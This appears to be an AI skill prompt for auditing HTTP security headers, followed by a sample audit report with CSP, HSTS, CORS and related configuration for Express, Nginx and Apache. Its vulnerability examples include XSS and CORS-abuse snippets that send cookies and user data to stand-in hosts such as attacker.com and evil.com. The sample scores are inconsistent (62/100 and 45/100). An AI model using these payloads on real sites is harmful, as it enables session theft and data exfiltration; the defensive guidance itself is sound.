Validate and implement HTTP security headers to protect web applications.
Validate and implement HTTP security headers to protect web applications.
You are a web security headers expert. When invoked:
Analyze Security Headers:
Security Assessment:
Attack Prevention:
Compliance Checking:
Generate Report: Provide comprehensive header analysis with implementation guidance
Purpose: Prevent XSS attacks by controlling resource loading
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
Directives:
default-src: Fallback for other directivesscript-src: JavaScript sourcesstyle-src: CSS sourcesimg-src: Image sourcesfont-src: Font sourcesconnect-src: AJAX, WebSocket, EventSourceframe-src: Iframe sourcesframe-ancestors: Pages that can embed this pagebase-uri: Base tag URLsform-action: Form submission targetsPurpose: Force HTTPS connections
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Parameters:
max-age: Duration in seconds (recommended: 31536000 = 1 year)includeSubDomains: Apply to all subdomainspreload: Include in browser preload listsPurpose: Prevent clickjacking attacks
X-Frame-Options: DENY
Values:
DENY: Cannot be framed at allSAMEORIGIN: Can only be framed by same originALLOW-FROM uri: Deprecated, use CSP insteadPurpose: Prevent MIME-sniffing attacks
X-Content-Type-Options: nosniff
Purpose: Enable browser XSS filter (legacy, CSP is preferred)
X-XSS-Protection: 1; mode=block
Note: Deprecated in favor of Content-Security-Policy
Purpose: Control referrer information
Referrer-Policy: strict-origin-when-cross-origin
Values:
no-referrer: Never send referrerno-referrer-when-downgrade: Default behaviororigin: Send only originorigin-when-cross-origin: Full URL for same-originsame-origin: Only for same-origin requestsstrict-origin: Origin only, not on HTTPS→HTTPstrict-origin-when-cross-origin: Recommendedunsafe-url: Always send full URL (not recommended)Purpose: Control browser features and APIs
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000
# Check all headers
curl -I https://example.com
# Check specific header
curl -I https://example.com | grep -i "content-security-policy"
# Follow redirects
curl -IL https://example.com
# Detailed headers
curl -v https://example.com 2>&1 | grep -i "^< "
# Mozilla Observatory
curl "https://http-observatory.security.mozilla.org/api/v1/analyze?host=example.com"
# Security Headers
curl "https://securityheaders.com/?q=example.com&followRedirects=on"
# Node.js header checker
node check-headers.js https://example.com
# Python header scanner
python3 scan_headers.py https://example.com
# Security Headers Analysis Report
**Website**: https://example.com
**Scan Date**: 2024-01-15 14:30:00 UTC
**Scanner**: Security Headers Analyzer v2.0
---
## Overall Security Score
**Grade**: C
**Score**: 62/100
🔴 Critical Issues: 2
🟠 High Priority: 3
🟡 Medium Priority: 4
🟢 Low Priority: 2
**Status**: ⚠️ NEEDS IMPROVEMENT
---
## Executive Summary
Your website is vulnerable to several common attacks due to missing or misconfigured security headers. The most critical issues are:
1. Missing Content-Security-Policy (enables XSS attacks)
2. Missing Strict-Transport-Security (vulnerable to MITM)
3. Permissive CORS configuration
**Immediate Actions Required**: Implement CSP and HSTS headers
---
## Header Analysis
### ✅ Headers Present (3)
#### X-Content-Type-Options: nosniff
**Status**: ✅ Correctly configured
**Grade**: A+
**Purpose**: Prevents MIME-sniffing attacks
```http
X-Content-Type-Options: nosniff
Impact: Prevents browsers from interpreting files as different MIME types Recommendation: Keep this header
Status: ✅ Correctly configured Grade: A+ Purpose: Prevents clickjacking attacks
X-Frame-Options: DENY
Impact: Prevents page from being embedded in frames Recommendation: Keep this header Note: Consider migrating to CSP frame-ancestors directive
Status: ✅ Good configuration Grade: A Purpose: Controls referrer information leakage
Referrer-Policy: strict-origin-when-cross-origin
Impact: Balances privacy and functionality Recommendation: Optimal setting for most applications
Status: 🔴 MISSING - CRITICAL Grade: F Risk: High - XSS attacks possible
Current: Not set Impact:
Vulnerability Example:
<!-- Attacker can inject: -->
<script>
// Steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Hijack session
window.location = 'https://attacker.com/phishing';
</script>
Recommended Configuration:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests
Implementation:
Express.js:
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
}));
Nginx:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
Apache:
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"
Testing:
// Use CSP in report-only mode first
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
// Backend endpoint to collect violations
app.post('/csp-report', (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
Priority: P0 - Implement immediately
Status: 🔴 MISSING - CRITICAL Grade: F Risk: High - MITM attacks possible
Current: Not set Impact:
Vulnerability Example:
User types: http://example.com
→ Attacker intercepts unencrypted initial request
→ Serves malicious page or steals credentials
→ Even if site redirects to HTTPS, initial request is vulnerable
Recommended Configuration:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Implementation:
Express.js:
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true
}));
Nginx:
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
Apache:
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Prerequisites:
HSTS Preload Submission:
1. Visit: https://hstspreload.org/
2. Ensure max-age >= 31536000 (1 year)
3. Include includeSubDomains directive
4. Include preload directive
5. Submit domain for preload list
Warning:
Priority: P0 - Implement immediately
Status: 🟠 MISSING - HIGH Grade: D Risk: Medium - Unnecessary API access
Current: Not set Impact:
Recommended Configuration:
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()
Implementation:
Express.js:
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
);
next();
});
Nginx:
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;
Custom Permissions (if you need specific features):
# Allow geolocation for your domain only
Permissions-Policy: geolocation=(self), microphone=(), camera=()
# Allow camera for specific domain
Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()
Priority: P1 - Implement within 7 days
Status: 🟡 MISSING - MEDIUM Grade: C
Recommended Configuration:
Cross-Origin-Resource-Policy: same-origin
Implementation:
app.use((req, res, next) => {
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
next();
});
Values:
same-origin: Only same-origin requests (recommended)same-site: Same-site requests allowedcross-origin: All origins allowedPriority: P2 - Implement within 30 days
Status: 🟡 MISSING - MEDIUM Grade: C
Recommended Configuration:
Cross-Origin-Embedder-Policy: require-corp
Priority: P2 - Implement within 30 days
Status: 🔴 CRITICAL MISCONFIGURATION Grade: F Risk: High - Open CORS policy
Current Configuration:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Issue: This configuration is dangerous and invalid. Wildcard (*) cannot be used with credentials.
Vulnerability:
// Any malicious site can make authenticated requests:
fetch('https://example.com/api/user/data', {
credentials: 'include' // Sends cookies
})
.then(res => res.json())
.then(data => {
// Attacker steals user data
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Correct Configuration:
// Express.js - Dynamic CORS
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
Using CORS middleware:
const cors = require('cors');
app.use(cors({
origin: function(origin, callback) {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count'],
maxAge: 600
}));
Nginx:
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
Priority: P0 - Fix immediately
Status: ⚠️ DEPRECATED Grade: C
Current Configuration:
X-XSS-Protection: 1; mode=block
Issue: This header is deprecated and can create security vulnerabilities in some browsers.
Recommendation: Remove this header and rely on Content-Security-Policy instead.
Migration:
// Remove X-XSS-Protection
// Instead, implement strong CSP
app.use(helmet({
xssFilter: false, // Disable deprecated header
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}
}));
Priority: P2 - Update configuration
| Category | Score | Grade |
|---|---|---|
| XSS Protection | 20/30 | D |
| Clickjacking Protection | 10/10 | A+ |
| HTTPS Enforcement | 0/20 | F |
| Information Disclosure | 15/15 | A |
| CORS Configuration | 0/15 | F |
| Browser Features | 0/10 | F |
| Overall | 45/100 | F |
Risk: CRITICAL Reason: No Content-Security-Policy
Example Attack:
<!-- Stored XSS -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- Reflected XSS -->
https://example.com/search?q=<script>alert(document.cookie)</script>
Mitigation: Implement strict CSP
Risk: CRITICAL Reason: No HSTS header
Example Attack:
1. User connects to http://example.com (unencrypted)
2. Attacker intercepts and serves fake login page
3. User enters credentials
4. Attacker captures credentials
Mitigation: Implement HSTS with preload
Risk: HIGH Reason: Permissive CORS configuration
Example Attack:
// From attacker.com:
fetch('https://example.com/api/sensitive-data', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Exfiltrate data
navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});
Mitigation: Restrict CORS to trusted origins only
// Remove wildcard CORS
- Access-Control-Allow-Origin: *
// Implement origin whitelist
+ Access-Control-Allow-Origin: https://app.example.com
Testing:
# Test CORS from allowed origin
curl -H "Origin: https://app.example.com" \
-I https://example.com/api/data
# Test CORS from disallowed origin (should fail)
curl -H "Origin: https://evil.com" \
-I https://example.com/api/data
Risk: Medium (may break integrations) Estimated Time: 2 hours
add_header Strict-Transport-Security "max-age=300" always;
Testing Period: 5 minutes (max-age=300) Full Implementation: Increase to 31536000 after testing
Testing:
# Verify HSTS header
curl -I https://example.com | grep -i strict-transport-security
# Test forced HTTPS
curl -IL http://example.com
# Should redirect to https://
Risk: Low Estimated Time: 1 hour
Week 1: Report-Only Mode
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
Monitor violations for 7 days
Week 2: Enforce Mode
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...
Testing:
# Check CSP header
curl -I https://example.com | grep -i content-security-policy
# Verify CSP effectiveness
# Open DevTools Console, check for CSP violations
Risk: High (may break functionality) Estimated Time: 3-5 days (including testing)
Permissions-Policy: geolocation=(), microphone=(), camera=()
Risk: Low Estimated Time: 1 hour
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
Risk: Medium Estimated Time: 2-3 days
// Remove X-XSS-Protection
- X-XSS-Protection: 1; mode=block
Risk: Low Estimated Time: 30 minutes
const express = require('express');
const helmet = require('helmet');
const app = express();
// Generate nonce for CSP
app.use((req, res, next) => {
res.locals.nonce = require('crypto').randomBytes(16).toString('base64');
next();
});
// Security headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
frameguard: {
action: 'deny'
},
noSniff: true,
xssFilter: false, // Deprecated, use CSP
referrerPolicy: {
policy: 'strict-origin-when-cross-origin'
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=()'
);
next();
});
// CORS configuration
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
}
next();
});
// CSP violation reporting
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
app.listen(3000);
server {
listen 443 ssl http2;
server_name example.com;
# SSL configuration
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# Security Headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
# CORS
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
location / {
proxy_pass http://localhost:3000;
}
}
# HTTP to HTTPS redirect
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
// Log violations
app.post('/csp-report', (req, res) => {
const violation = req.body['csp-report'];
logger.warn('CSP Violation', {
blockedURI: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
documentURI: violation['document-uri']
});
res.status(204).end();
});
// Alert on critical violations
if (violation['violated-directive'].includes('script-src')) {
alertSecurityTeam(violation);
}
Current Grade: F (45/100) Target Grade: A+ (95+/100) Estimated Effort: 2-3 weeks Priority: HIGH - Critical vulnerabilities present
Immediate Actions:
Expected Grade After Fixes: A (90+/100)
## Notes
- Test headers in staging first
- Use report-only mode for CSP initially
- Monitor CSP violations before enforcing
- Balance security with functionality
- Keep headers updated with best practices
- Regular security audits recommended
- Document all header configurations
- Train team on header security
- Use automated tools for continuous monitoring
- Review headers after major changes